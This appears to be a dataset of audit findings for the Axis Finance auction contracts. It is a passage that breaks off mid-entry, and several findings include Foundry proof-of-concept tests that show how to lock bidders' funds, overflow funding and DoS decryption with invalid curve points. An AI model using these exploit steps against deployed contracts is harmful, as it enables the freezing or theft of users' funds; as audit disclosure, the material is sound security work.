name
stringlengths
5
231
severity
stringclasses
3 values
description
stringlengths
107
68.2k
recommendation
stringlengths
12
8.75k
impact
stringlengths
3
11.2k
function
stringlengths
15
64.6k
[M-1]
high
Seller's funds may remain locked in the protocol, because of revert on 0 transfer tokens. In the README.md file is stated that the protocol uses every token with ERC20 Metadata and decimals between 6-18, which includes some revert on 0 transfer tokens, so this should be considered as valid issue!\\nin the `AuctionHouse::claimProceeds()` function there is the following block of code:\\n```\\n uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;\\n unchecked {\\n routing.funding -= prefundingRefund;\\n }\\n Transfer.transfer(\\n routing.baseToken,\\n _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),\\n prefundingRefund,\\n false\\n );\\n```\\n\\nSince the batch auctions must be prefunded so `routing.funding` shouldn't be zero unless all the tokens were sent in settle, in which case `payoutSent` will equal `sold_`. From this we make the conclusion that it is possible for `prefundingRefund` to be equal to 0. This means if the `routing.baseToken` is a revert on 0 transfer token the seller will never be able to get the `quoteToken` he should get from the auction.
Check if the `prefundingRefund > 0` like this:\\n```\\n function claimProceeds(\\n uint96 lotId_,\\n bytes calldata callbackData_\\n ) external override nonReentrant {\\n // Validation\\n _isLotValid(lotId_);\\n\\n // Call auction module to validate and update data\\n (uint96 purchased_, uint96 sold_, uint96 payoutSent_) =\\n _getModuleForId(lotId_).claimProceeds(lotId_);\\n\\n // Load data for the lot\\n Routing storage routing = lotRouting[lotId_];\\n\\n // Calculate the referrer and protocol fees for the amount in\\n // Fees are not allocated until the user claims their payout so that we don't have to iterate through them here\\n // If a referrer is not set, that portion of the fee defaults to the protocol\\n uint96 totalInLessFees;\\n {\\n (, uint96 toProtocol) = calculateQuoteFees(\\n lotFees[lotId_].protocolFee, lotFees[lotId_].referrerFee, false, purchased_\\n );\\n unchecked {\\n totalInLessFees = purchased_ - toProtocol;\\n }\\n }\\n\\n // Send payment in bulk to the address dictated by the callbacks address\\n // If the callbacks contract is configured to receive quote tokens, send the quote tokens to the callbacks contract and call the onClaimProceeds callback\\n // If not, send the quote tokens to the seller and call the onClaimProceeds callback\\n _sendPayment(routing.seller, totalInLessFees, routing.quoteToken, routing.callbacks);\\n\\n // Refund any unused capacity and curator fees to the address dictated by the callbacks address\\n // By this stage, a partial payout (if applicable) and curator fees have been paid, leaving only the payout amount (`totalOut`) remaining.\\n uint96 prefundingRefund = routing.funding // Add the line below\\n payoutSent_ - sold_;\\n// Add the line below\\n// Add the line below\\n if(prefundingRefund > 0) { \\n unchecked {\\n routing.funding -= prefundingRefund;\\n }\\n Transfer.transfer(\\n routing.baseToken,\\n _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),\\n prefundingRefund,\\n false\\n );\\n// Add the line below\\n// Add the line below\\n }\\n \\n\\n // Call the onClaimProceeds callback\\n Callbacks.onClaimProceeds(\\n routing.callbacks, lotId_, totalInLessFees, prefundingRefund, callbackData_\\n );\\n }\\n```\\n
The seller's funds remain locked in the system and he will never be able to get them back.
```\\n uint96 prefundingRefund = routing.funding + payoutSent_ - sold_;\\n unchecked {\\n routing.funding -= prefundingRefund;\\n }\\n Transfer.transfer(\\n routing.baseToken,\\n _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),\\n prefundingRefund,\\n false\\n );\\n```\\n
Module's gas yield can never be claimed and all yield will be lost
high
Module's gas yield can never be claimed\\nThe protocol is meant to be deployed on blast, meaning that the gas and ether balance accrue yield.\\nBy default these yield settings for both ETH and GAS yields are set to VOID as default, meaning that unless we configure the yield mode to claimable, we will be unable to recieve the yield. The protocol never sets gas to claimable for the modules, and the governor of the contract is the auction house, the auction house also does not implement any function to set the modules gas yield to claimable.\\n```\\n constructor(address auctionHouse_) LinearVesting(auctionHouse_) BlastGas(auctionHouse_) {}\\n```\\n\\nThe constructor of both BlastLinearVesting and BlastEMPAM set the auction house here `BlastGas(auctionHouse_)` if we look at this contract we can observe the above.\\nBlastGas.sol\\n```\\n constructor(address parent_) {\\n // Configure governor to claim gas fees\\n IBlast(0x4300000000000000000000000000000000000002).configureGovernor(parent_);\\n }\\n```\\n\\nAs we can see above, the governor is set in constructor, but we never set gas to claimable. Gas yield mode will be in its default mode which is VOID, the modules will not accue gas yields. Since these modules never set gas yield mode to claimable, the auction house cannot claim any gas yield for either of the contracts. Additionally the auction house includes no function to configure yield mode, the auction house contract only has a function to claim the gas yield but this will revert since the yield mode for these module contracts will be VOID.
change the following in BlastGas contract, this will set the gas yield of the modules to claimable in the constructor and allowing the auction house to claim gas yield.\\n```\\ninterface IBlast {\\n function configureGovernor(address governor_) external;\\n function configureClaimableGas() external; \\n}\\n\\nabstract contract BlastGas {\\n // ========== CONSTRUCTOR ========== //\\n\\n constructor(address parent_) {\\n // Configure governor to claim gas fees\\n IBlast(0x4300000000000000000000000000000000000002).configureClaimableGas();\\n IBlast(0x4300000000000000000000000000000000000002).configureGovernor(parent_);\\n }\\n}\\n```\\n
Gas yields will never acrue and the yield will forever be lost
```\\n constructor(address auctionHouse_) LinearVesting(auctionHouse_) BlastGas(auctionHouse_) {}\\n```\\n
Auction creators have the ability to lock bidders' funds.
high
`Auction creators` have the ability to cancel an `auction` before it starts. However, once the `auction` begins, they should not be allowed to cancel it. During the `auction`, `bidders` can place `bids` and send `quote` tokens to the `auction` house. After the `auction` concludes, `bidders` can either receive `base` tokens or retrieve their `quote` tokens. Unfortunately, batch `auction` creators can cancel an `auction` when it ends. This means that `auction` creators can cancel their `auctions` if they anticipate `losses`. This should not be allowed. The significant risk is that `bidders' funds` could become locked in the `auction` house.\\n`Auction creators` can not cancel an `auction` once it concludes.\\n```\\nfunction cancelAuction(uint96 lotId_) external override onlyInternal {\\n _revertIfLotConcluded(lotId_);\\n}\\n```\\n\\nThey also can not cancel it while it is active.\\n```\\nfunction _cancelAuction(uint96 lotId_) internal override {\\n _revertIfLotActive(lotId_);\\n\\n auctionData[lotId_].status = Auction.Status.Claimed;\\n}\\n```\\n\\nWhen the `block.timestamp` aligns with the `conclusion` time of the `auction`, we can bypass these checks.\\n```\\nfunction _revertIfLotConcluded(uint96 lotId_) internal view virtual {\\n if (lotData[lotId_].conclusion < uint48(block.timestamp)) {\\n revert Auction_MarketNotActive(lotId_);\\n }\\n\\n if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);\\n}\\nfunction _revertIfLotActive(uint96 lotId_) internal view override {\\n if (\\n auctionData[lotId_].status == Auction.Status.Created\\n && lotData[lotId_].start <= block.timestamp\\n && lotData[lotId_].conclusion > block.timestamp\\n ) revert Auction_WrongState(lotId_);\\n}\\n```\\n\\nSo `Auction creators` can cancel an `auction` when it concludes. Then the `capacity` becomes `0` and the `auction` status transitions to `Claimed`.\\n`Bidders` can not `refund` their `bids`.\\n```\\nfunction refundBid(\\n uint96 lotId_,\\n uint64 bidId_,\\n address caller_\\n) external override onlyInternal returns (uint96 refund) {\\n _revertIfLotConcluded(lotId_);\\n}\\n function _revertIfLotConcluded(uint96 lotId_) internal view virtual {\\n if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);\\n}\\n```\\n\\nThe only way for `bidders` to reclaim their tokens is by calling the `claimBids` function. However, `bidders` can only claim `bids` when the `auction status` is `Settled`.\\n```\\nfunction claimBids(\\n uint96 lotId_,\\n uint64[] calldata bidIds_\\n) {\\n _revertIfLotNotSettled(lotId_);\\n}\\n```\\n\\nTo `settle` the `auction`, the `auction` status should be `Decrypted`. This requires submitting the `private key`. The `auction` creator can not submit the `private key` or submit it without decrypting any `bids` by calling `submitPrivateKey(lotId, privateKey, 0)`. Then nobody can decrypt the `bids` using the `decryptAndSortBids` function which always reverts.\\n```\\nfunction decryptAndSortBids(uint96 lotId_, uint64 num_) external {\\n if (\\n auctionData[lotId_].status != Auction.Status.Created // @audit, here\\n || auctionData[lotId_].privateKey == 0\\n ) {\\n revert Auction_WrongState(lotId_);\\n }\\n\\n _decryptAndSortBids(lotId_, num_);\\n}\\n```\\n\\nAs a result, the `auction status` remains unchanged, preventing it from transitioning to `Settled`. This leaves the `bidders'` `quote` tokens locked in the `auction house`.\\nPlease add below test to the `test/modules/Auction/cancel.t.sol`.\\n```\\nfunction test_cancel() external whenLotIsCreated {\\n Auction.Lot memory lot = _mockAuctionModule.getLot(_lotId);\\n\\n console2.log("lot.conclusion before ==> ", lot.conclusion);\\n console2.log("block.timestamp before ==> ", block.timestamp);\\n console2.log("isLive ==> ", _mockAuctionModule.isLive(_lotId));\\n\\n vm.warp(lot.conclusion - block.timestamp + 1);\\n console2.log("lot.conclusion after ==> ", lot.conclusion);\\n console2.log("block.timestamp after ==> ", block.timestamp);\\n console2.log("isLive ==> ", _mockAuctionModule.isLive(_lotId));\\n\\n vm.prank(address(_auctionHouse));\\n _mockAuctionModule.cancelAuction(_lotId);\\n}\\n```\\n\\nThe log is\\n```\\nlot.conclusion before ==> 86401\\nblock.timestamp before ==> 1\\nisLive ==> true\\nlot.conclusion after ==> 86401\\nblock.timestamp after ==> 86401\\nisLive ==> false\\n```\\n
```\\nfunction _revertIfLotConcluded(uint96 lotId_) internal view virtual {\\n- if (lotData[lotId_].conclusion < uint48(block.timestamp)) {\\n+ if (lotData[lotId_].conclusion <= uint48(block.timestamp)) {\\n revert Auction_MarketNotActive(lotId_);\\n }\\n\\n // Capacity is sold-out, or cancelled\\n if (lotData[lotId_].capacity == 0) revert Auction_MarketNotActive(lotId_);\\n}\\n```\\n
Users' funds can be locked.
```\\nfunction cancelAuction(uint96 lotId_) external override onlyInternal {\\n _revertIfLotConcluded(lotId_);\\n}\\n```\\n
Bidders can not claim their bids if the auction creator claims the proceeds.
high
Before the batch `auction` begins, the `auction` creator should `prefund` `base` tokens to the `auction` house. During the `auction`, `bidders` transfer `quote` tokens to the `auction` house. After the `auction` settles,\\n`Bidders` can claim their `bids` and either to receive `base` tokens or `retrieve` their `quote` tokens.\\nThe `auction creator` can receive the `quote` tokens and `retrieve` the remaining `base` tokens.\\nThere is no specific order for these two operations.\\nHowever, if the `auction creator` claims the `proceeds`, `bidders` can not claim their `bids` anymore. Consequently, their `funds` will remain locked in the `auction house`.\\nWhen the `auction creator` claims `Proceeds`, the `auction status` changes to `Claimed`.\\n```\\nfunction _claimProceeds(uint96 lotId_)\\n internal\\n override\\n returns (uint96 purchased, uint96 sold, uint96 payoutSent)\\n{\\n auctionData[lotId_].status = Auction.Status.Claimed;\\n}\\n```\\n\\nOnce the `auction status` has transitioned to `Claimed`, there is indeed no way to change it back to `Settled`.\\nHowever, `bidders` can only claim their `bids` when the `auction status` is `Settled`.\\n```\\nfunction claimBids(\\n uint96 lotId_,\\n uint64[] calldata bidIds_\\n)\\n external\\n override\\n onlyInternal\\n returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)\\n{\\n _revertIfLotInvalid(lotId_);\\n _revertIfLotNotSettled(lotId_); // @audit, here\\n\\n return _claimBids(lotId_, bidIds_);\\n}\\n```\\n\\nPlease add below test to the `test/modules/auctions/claimBids.t.sol`.\\n```\\nfunction test_claimProceeds_before_claimBids()\\n external\\n givenLotIsCreated\\n givenLotHasStarted\\n givenBidIsCreated(_BID_AMOUNT_UNSUCCESSFUL, _BID_AMOUNT_OUT_UNSUCCESSFUL)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenBidIsCreated(_BID_PRICE_TWO_AMOUNT, _BID_PRICE_TWO_AMOUNT_OUT)\\n givenLotHasConcluded\\n givenPrivateKeyIsSubmitted\\n givenLotIsDecrypted\\n givenLotIsSettled\\n{\\n uint64 bidId = 1;\\n\\n uint64[] memory bidIds = new uint64[](1);\\n bidIds[0] = bidId;\\n\\n // Call the function\\n vm.prank(address(_auctionHouse));\\n _module.claimProceeds(_lotId);\\n\\n\\n bytes memory err = abi.encodeWithSelector(EncryptedMarginalPriceAuctionModule.Auction_WrongState.selector, _lotId);\\n vm.expectRevert(err);\\n vm.prank(address(_auctionHouse));\\n _module.claimBids(_lotId, bidIds);\\n}\\n```\\n
Allow `bidders` to claim their `bids` even when the `auction status` is `Claimed`.
Users' funds could be locked.
```\\nfunction _claimProceeds(uint96 lotId_)\\n internal\\n override\\n returns (uint96 purchased, uint96 sold, uint96 payoutSent)\\n{\\n auctionData[lotId_].status = Auction.Status.Claimed;\\n}\\n```\\n
Bidders' funds may become locked due to inconsistent price order checks in MaxPriorityQueue and the _claimBid function.
high
In the `MaxPriorityQueue`, `bids` are ordered by decreasing `price`. We calculate the `marginal price`, `marginal bid ID`, and determine the `auction winners`. When a `bidder` wants to claim, we verify that the `bid price` of this `bidder` exceeds the `marginal price`. However, there's minor inconsistency: certain `bids` may have `marginal price` and a smaller `bid ID` than `marginal bid ID` and they are not actually `winners`. As a result, the `auction winners` and these `bidders` can receive `base` tokens. However, there is a finite supply of `base` tokens for `auction winners`. Early `bidders` who claim can receive `base` tokens, but the last `bidders` can not.\\nThe comparison for the order of `bids` in the `MaxPriorityQueue` is as follow: if `q1 * b2 < q2 * b1` then `bid (q2, b2)` takes precedence over `bid (q1, b1)`.\\n```\\nfunction _isLess(Queue storage self, uint256 i, uint256 j) private view returns (bool) {\\n uint64 iId = self.bidIdList[i];\\n uint64 jId = self.bidIdList[j];\\n Bid memory bidI = self.idToBidMap[iId];\\n Bid memory bidJ = self.idToBidMap[jId];\\n uint256 relI = uint256(bidI.amountIn) * uint256(bidJ.minAmountOut);\\n uint256 relJ = uint256(bidJ.amountIn) * uint256(bidI.minAmountOut);\\n if (relI == relJ) {\\n return iId > jId;\\n }\\n return relI < relJ;\\n}\\n```\\n\\nAnd in the `_calimBid` function, the `price` is checked directly as follow: if q * 10 ** baseDecimal / b >= marginal `price`, then this `bid` can be claimed.\\n```\\nfunction _claimBid(\\n uint96 lotId_,\\n uint64 bidId_\\n) internal returns (BidClaim memory bidClaim, bytes memory auctionOutput_) {\\n uint96 price = uint96(\\n bidData.minAmountOut == 0\\n ? 0 // TODO technically minAmountOut == 0 should be an infinite price, but need to check that later. Need to be careful we don't introduce a way to claim a bid when we set marginalPrice to type(uint96).max when it cannot be settled.\\n : Math.mulDivUp(uint256(bidData.amount), baseScale, uint256(bidData.minAmountOut))\\n );\\n uint96 marginalPrice = auctionData[lotId_].marginalPrice;\\n if (\\n price > marginalPrice\\n || (price == marginalPrice && bidId_ <= auctionData[lotId_].marginalBidId)\\n ) { }\\n}\\n```\\n\\nThe issue is that a `bid` with the `marginal price` might being placed after marginal `bid` in the `MaxPriorityQueue` due to rounding.\\n```\\nq1 * b2 < q2 * b1, but mulDivUp(q1, 10 ** baseDecimal, b1) = mulDivUp(q2, 10 ** baseDecimal, b2)\\n```\\n\\nLet me take an example. The `capacity` is `10e18` and there are `6 bids` ((4e18 + 1, 2e18) for first `bidder`, `(4e18 + 2, 2e18)` for the other `bidders`. The order in the `MaxPriorityQueue` is `(2, 3, 4, 5, `6`, 1)`. The `marginal bid ID` is `6`. The `marginal price` is `2e18` + 1. The `auction winners` are `(2, 3, 4, 5, 6)`. However, `bidder` 1 can also claim because it's `price` matches the `marginal price` and it has the smallest `bid ID`. There are only `10e18` `base` tokens, but all `6 bidders` require `2e18` `base` tokens. As a result, at least one `bidder` won't be able to claim `base` tokens, and his `quote` tokens will remain locked in the `auction house`.\\nThe Log is\\n```\\nmarginal price ==> 2000000000000000001\\nmarginal bid id ==> 6\\n\\npaid to bid 1 ==> 4000000000000000001\\npayout to bid 1 ==> 1999999999999999999\\n*****\\npaid to bid 2 ==> 4000000000000000002\\npayout to bid 2 ==> 2000000000000000000\\n*****\\npaid to bid 3 ==> 4000000000000000002\\npayout to bid 3 ==> 2000000000000000000\\n*****\\npaid to bid 4 ==> 4000000000000000002\\npayout to bid 4 ==> 2000000000000000000\\n*****\\npaid to bid 5 ==> 4000000000000000002\\npayout to bid 5 ==> 2000000000000000000\\n*****\\npaid to bid 6 ==> 4000000000000000002\\npayout to bid 6 ==> 2000000000000000000\\n```\\n\\nPlease add below test to the `test/modules/auctions/EMPA/claimBids.t.sol`\\n```\\nfunction test_claim_nonClaimable_bid()\\n external\\n givenLotIsCreated\\n givenLotHasStarted\\n givenBidIsCreated(4e18 + 1, 2e18) // bidId = 1\\n givenBidIsCreated(4e18 + 2, 2e18) // bidId = 2\\n givenBidIsCreated(4e18 + 2, 2e18) // bidId = 3\\n givenBidIsCreated(4e18 + 2, 2e18) // bidId = 4\\n givenBidIsCreated(4e18 + 2, 2e18) // bidId = 5\\n givenBidIsCreated(4e18 + 2, 2e18) // bidId = 6\\n givenLotHasConcluded\\n givenPrivateKeyIsSubmitted\\n givenLotIsDecrypted\\n givenLotIsSettled\\n{\\n EncryptedMarginalPriceAuctionModule.AuctionData memory auctionData = _getAuctionData(_lotId);\\n\\n console2.log('marginal price ==> ', auctionData.marginalPrice);\\n console2.log('marginal bid id ==> ', auctionData.marginalBidId);\\n console2.log('');\\n\\n for (uint64 i; i < 6; i ++) {\\n uint64[] memory bidIds = new uint64[](1);\\n bidIds[0] = i + 1;\\n vm.prank(address(_auctionHouse));\\n (Auction.BidClaim[] memory bidClaims,) = _module.claimBids(_lotId, bidIds);\\n Auction.BidClaim memory bidClaim = bidClaims[0];\\n if (i > 0) {\\n console2.log('*****');\\n }\\n console2.log('paid to bid ', i + 1, ' ==> ', bidClaim.paid);\\n console2.log('payout to bid ', i + 1, ' ==> ', bidClaim.payout);\\n }\\n}\\n```\\n
In the `MaxPriorityQueue`, we should check the price: `Math.mulDivUp(q, 10 ** baseDecimal, b)`.
null
```\\nfunction _isLess(Queue storage self, uint256 i, uint256 j) private view returns (bool) {\\n uint64 iId = self.bidIdList[i];\\n uint64 jId = self.bidIdList[j];\\n Bid memory bidI = self.idToBidMap[iId];\\n Bid memory bidJ = self.idToBidMap[jId];\\n uint256 relI = uint256(bidI.amountIn) * uint256(bidJ.minAmountOut);\\n uint256 relJ = uint256(bidJ.amountIn) * uint256(bidI.minAmountOut);\\n if (relI == relJ) {\\n return iId > jId;\\n }\\n return relI < relJ;\\n}\\n```\\n
Overflow in curate() function, results in permanently stuck funds
high
The `Axis-Finance` protocol has a curate() function that can be used to set a certain fee to a curator set by the seller for a certain auction. Typically, a curator is providing some service to an auction seller to help the sale succeed. This could be doing diligence on the project and `vouching` for them, or something simpler, such as listing the auction on a popular interface. A lot of memecoins have a big supply in the trillions, for example SHIBA INU has a total supply of nearly 1000 trillion tokens and each token has 18 decimals. With a lot of new memecoins emerging every day due to the favorable bullish conditions and having supply in the trillions, it is safe to assume that such protocols will interact with the `Axis-Finance` protocol. Creating auctions for big amounts, and promising big fees to some celebrities or influencers to promote their project. The funding parameter in the Routing struct is of type `uint96`\\n```\\n struct Routing {\\n // rest of code\\n uint96 funding; \\n // rest of code\\n }\\n```\\n\\nThe max amount of tokens with 18 decimals a `uint96` variable can hold is around 80 billion. The problem arises in the curate() function, If the auction is prefunded, which all batch auctions are( a normal FPAM auction can also be prefunded), and the amount of prefunded tokens is big enough, close to 80 billion tokens with 18 decimals, and the curator fee is for example 7.5%, when the `curatorFeePayout` is added to the current funding, the funding will overflow.\\n```\\nunchecked {\\n routing.funding += curatorFeePayout;\\n}\\n```\\n\\nGist After following the steps in the above mentioned gist, add the following test to the `AuditorTests.t.sol`\\n```\\nfunction test_CuratorFeeOverflow() public {\\n vm.startPrank(alice);\\n Veecode veecode = fixedPriceAuctionModule.VEECODE();\\n Keycode keycode = keycodeFromVeecode(veecode);\\n bytes memory _derivativeParams = "";\\n uint96 lotCapacity = 75_000_000_000e18; // this is 75 billion tokens\\n mockBaseToken.mint(alice, 100_000_000_000e18);\\n mockBaseToken.approve(address(auctionHouse), type(uint256).max);\\n\\n FixedPriceAuctionModule.FixedPriceParams memory myStruct = FixedPriceAuctionModule.FixedPriceParams({\\n price: uint96(1e18),\\n maxPayoutPercent: uint24(1e5)\\n });\\n\\n Auctioneer.RoutingParams memory routingA = Auctioneer.RoutingParams({\\n auctionType: keycode,\\n baseToken: mockBaseToken,\\n quoteToken: mockQuoteToken,\\n curator: curator,\\n callbacks: ICallback(address(0)),\\n callbackData: abi.encode(""),\\n derivativeType: toKeycode(""),\\n derivativeParams: _derivativeParams,\\n wrapDerivative: false,\\n prefunded: true\\n });\\n\\n Auction.AuctionParams memory paramsA = Auction.AuctionParams({\\n start: 0,\\n duration: 1 days,\\n capacityInQuote: false,\\n capacity: lotCapacity,\\n implParams: abi.encode(myStruct)\\n });\\n\\n string memory infoHashA;\\n auctionHouse.auction(routingA, paramsA, infoHashA); \\n vm.stopPrank();\\n\\n vm.startPrank(owner);\\n FeeManager.FeeType type_ = FeeManager.FeeType.MaxCurator;\\n uint48 fee = 7_500; // 7.5% max curator fee\\n auctionHouse.setFee(keycode, type_, fee);\\n vm.stopPrank();\\n\\n vm.startPrank(curator);\\n uint96 fundingBeforeCuratorFee;\\n uint96 fundingAfterCuratorFee;\\n (,fundingBeforeCuratorFee,,,,,,,) = auctionHouse.lotRouting(0);\\n console2.log("Here is the funding normalized before curator fee is set: ", fundingBeforeCuratorFee/1e18);\\n auctionHouse.setCuratorFee(keycode, fee);\\n bytes memory callbackData_ = "";\\n auctionHouse.curate(0, callbackData_);\\n (,fundingAfterCuratorFee,,,,,,,) = auctionHouse.lotRouting(0);\\n console2.log("Here is the funding normalized after curator fee is set: ", fundingAfterCuratorFee/1e18);\\n console2.log("Balance of base token of the auction house: ", mockBaseToken.balanceOf(address(auctionHouse))/1e18);\\n vm.stopPrank();\\n }\\n```\\n\\n```\\nLogs:\\n Here is the funding normalized before curator fee is set: 75000000000\\n Here is the funding normalized after curator fee is set: 1396837485\\n Balance of base token of the auction house: 80625000000\\n```\\n\\nTo run the test use: `forge test -vvv --mt test_CuratorFeeOverflow`
Either remove the unchecked block\\n```\\nunchecked {\\n routing.funding += curatorFeePayout;\\n}\\n```\\n\\nso that when overflow occurs, the transaction will revert, or better yet also change the funding variable type from `uint96` to `uint256` this way sellers can create big enough auctions, and provide sufficient curator fee in order to bootstrap their protocol successfully .
If there is an overflow occurs in the curate() function, a big portion of the tokens will be stuck in the `Axis-Finance` protocol forever, as there is no way for them to be withdrawn, either by an admin function, or by canceling the auction (if an auction has started, only FPAM auctions can be canceled), as the amount returned is calculated in the following way\\n```\\n if (routing.funding > 0) {\\n uint96 funding = routing.funding;\\n\\n // Set to 0 before transfer to avoid re-entrancy\\n routing.funding = 0;\\n\\n // Transfer the base tokens to the appropriate contract\\n Transfer.transfer(\\n routing.baseToken,\\n _getAddressGivenCallbackBaseTokenFlag(routing.callbacks, routing.seller),\\n funding,\\n false\\n );\\n // rest of code\\n }\\n```\\n
```\\n struct Routing {\\n // rest of code\\n uint96 funding; \\n // rest of code\\n }\\n```\\n
It is possible to DoS batch auctions by submitting invalid AltBn128 points when bidding
high
Bidders can submit invalid points for the AltBn128 elliptic curve. The invalid points will make the decrypting process always revert, effectively DoSing the auction process, and locking funds forever in the protocol.\\nAxis finance supports a sealed-auction type of auctions, which is achieved in the Encrypted Marginal Price Auction module by leveraging the ECIES encryption scheme. Axis will specifically use a simplified ECIES implementation that uses the AltBn128 curve, which is a curve with generator point (1,2) and the following formula:\\n$$ y^2 = x^3 + 3 $$\\nBidders will submit encrypted bids to the protocol. One of the parameters required to be submitted by the bidders so that bids can later be decrypted is a public key that will be used in the EMPA decryption process:\\n```\\n// EMPAM.sol\\n\\nfunction _bid(\\n uint96 lotId_, \\n address bidder_,\\n address referrer_,\\n uint96 amount_,\\n bytes calldata auctionData_\\n ) internal override returns (uint64 bidId) {\\n // Decode auction data \\n (uint256 encryptedAmountOut, Point memory bidPubKey) = \\n abi.decode(auctionData_, (uint256, Point));\\n \\n // rest of code\\n\\n // Check that the bid public key is a valid point for the encryption library\\n if (!ECIES.isValid(bidPubKey)) revert Auction_InvalidKey(); \\n \\n // rest of code\\n\\n return bidId;\\n }\\n```\\n\\nAs shown in the code snippet, bidders will submit a `bidPubKey`, which consists in an x and y coordinate (this is actually the public key, which can be represented as a point with x and y coordinates over an elliptic curve).\\nThe `bidPubKey` point will then be validated by the ECIES library's `isValid()` function. Essentially, this function will perform three checks:\\nVerify that the point provided is on the AltBn128 curve\\nEnsure the x and y coordinates of the point provided don't correspond to the generator point (1, 2)\\nEnsure that the x and y coordinates of the point provided don't corrspond to the point at infinity (0,0)\\n```\\n// ECIES.sol\\n\\nfunction isOnBn128(Point memory p) public pure returns (bool) {\\n // check if the provided point is on the bn128 curve y**2 = x**3 + 3, which has generator point (1, 2)\\n return _fieldmul(p.y, p.y) == _fieldadd(_fieldmul(p.x, _fieldmul(p.x, p.x)), 3);\\n }\\n \\n /// @notice Checks whether a point is valid. We consider a point valid if it is on the curve and not the generator point or the point at infinity.\\n function isValid(Point memory p) public pure returns (bool) { \\n return isOnBn128(p) && !(p.x == 1 && p.y == 2) && !(p.x == 0 && p.y == 0); \\n }\\n```\\n\\nAlthough these checks are correct, one important check is missing in order to consider that the point is actually a valid point in the AltBn128 curve.\\nAs a summary, ECC incorporates the concept of finite fields. Essentially, the elliptic curve is considered as a square matrix of size pxp, where p is the finite field (in our case, the finite field defined in Axis' `ECIES.sol` library is stord in the `FIELD_MODULUS` constant with a value of 21888242871839275222246405745257275088696311157297823662689037894645226208583). The curve equation then takes this form:\\n$$ y2 = x^3 + ax + b (mod p) $$\\nNote that because the function is now limited to a field of pxp, any point provided that has an x or y coordinate greater than the modulus will fall outside of the matrix, thus being invalid. In other words, if x > p or y > p, the point should be considered invalid. However, as shown in the previous snippet of code, this check is not performed in Axis' ECIES implementation.\\nThis enables a malicious bidder to provide an invalid point with an x or y coordinate greater than the field, but that still passes the checked conditions in the ECIES library. The `isValid()` check will pass and the bid will be successfully submitted, although the public key is theoretically invalid.\\nThis leads us to the second part of the attack. When the auction concludes, the decryption process will begin. The process consists in:\\nCalling the `decryptAndSortBids()` function. This will trigger the internal `_decryptAndSortBids()` function. It is important to note that this function will only set the status of the auction to `Decrypted` if ALL the bids submitted have been decrypted. Otherwise, the auction can't continue.\\n`_decryptAndSortBids()` will call the internal `_decrypt()` function for each of the bids submittted\\n`_decrypt()` will finally call the ECIES' `decrypt()` function so that the bid can be decrypted:\\n// EMPAM.sol\\n\\nfunction _decrypt(\\n uint96 lotId_,\\n uint64 bidId_,\\n uint256 `privateKey_`\\n ) internal view returns (uint256 amountOut) {\\n // Load the encrypted bid data\\n EncryptedBid memory encryptedBid = encryptedBids[lotId_][bidId_];\\n\\n // Decrypt the message\\n // We expect a salt calculated as the keccak256 hash of lot id, bidder, and amount to provide some (not total) uniqueness to the encryption, even if the same shared secret is used\\n Bid storage bidData = bids[lotId_][bidId_];\\n uint256 message = ECIES.decrypt(\\n encryptedBid.encryptedAmountOut,\\n `encryptedBid.bidPubKey`, \\n `privateKey_`, \\n uint256(keccak256(abi.encodePacked(lotId_, bidData.bidder, bidData.amount))) // @audit-issue [MEDIUM] - Missing bidId in salt creates the edge case where a bid susceptible of being discovered if a user places two bids with the same input amount. Because the same key will be used when performing the XOR, the symmetric key can be extracted, thus potentially revealing the bid amounts.\\n ); \\n \\n \\n ...\\n } \\nAs shown in the code snippet, one of the parameters passed to the `ECIES.decrypt()` function will be the `encryptedBid.bidPubKey` (the invalid point provided by the malicious bidder). As we can see, the first step performed by `ECIES.decrypt()` will be to call the `recoverSharedSecret()` function, passing the invalid public key (ciphertextPubKey_) and the auction's global `privateKey_` as parameter:\\n// ECIES.sol\\n\\nfunction decrypt(\\n uint256 ciphertext_,\\n Point memory `ciphertextPubKey_`,\\n uint256 `privateKey_`,\\n uint256 salt_\\n ) public view returns (uint256 message_) {\\n // Calculate the shared secret\\n // Validates the ciphertext public key is on the curve and the private key is valid\\n uint256 sharedSecret = recoverSharedSecret(ciphertextPubKey_, privateKey_);\\n\\n ...\\n }\\n \\n function recoverSharedSecret(\\n Point memory `ciphertextPubKey_`,\\n uint256 `privateKey_`\\n ) public view returns (uint256) {\\n ...\\n \\n Point memory p = _ecMul(ciphertextPubKey_, privateKey_);\\n\\n return p.x;\\n }\\n \\n function _ecMul(Point memory p, uint256 scalar) private view returns (Point memory p2) {\\n (bool success, bytes memory output) =\\n address(0x07).staticcall{gas: 6000}(abi.encode(p.x, p.y, scalar));\\n\\n if (!success || output.length == 0) revert("ecMul failed.");\\n\\n p2 = abi.decode(output, (Point));\\n }\\nAmong other things, `recoverSharedSecret()` will execute a scalar multiplication between the invalid public key and the global private key via the `ecMul` precompile. This is where the denial of servide will take place.\\nThe ecMul precompile contract was incorporated in EIP-196. Checking the EIP's exact semantics section, we can see that inputs will be considered invalid if “… any of the field elements (point coordinates) is equal or larger than the field modulus p, the contract fails”. Because the point submitted by the bidder had one of the x or y coordinates bigger than the field modulus p (because Axis never validated that such value was smaller than the field), the call to the ecmul precompile will fail, reverting with the “ecMul failed.” error.\\nBecause the decryption process expects ALL the bids submitted for an auction to be decrypted prior to actually setting the auctions state to `Decrypted`, if only one bid decryption fails, the decryption process won't be completed, and the whole auction process (decrypting, settling, …) won't be executable because the auction never reaches the `Decrypted` state.\\nProof of Concept\\nThe following proof of concept shows a reproduction of the attack mentioned above. In order to reproduce it, following these steps:\\nInside `EMPAModuleTest.sol`, change the `_createBidData()` function so that it uses the 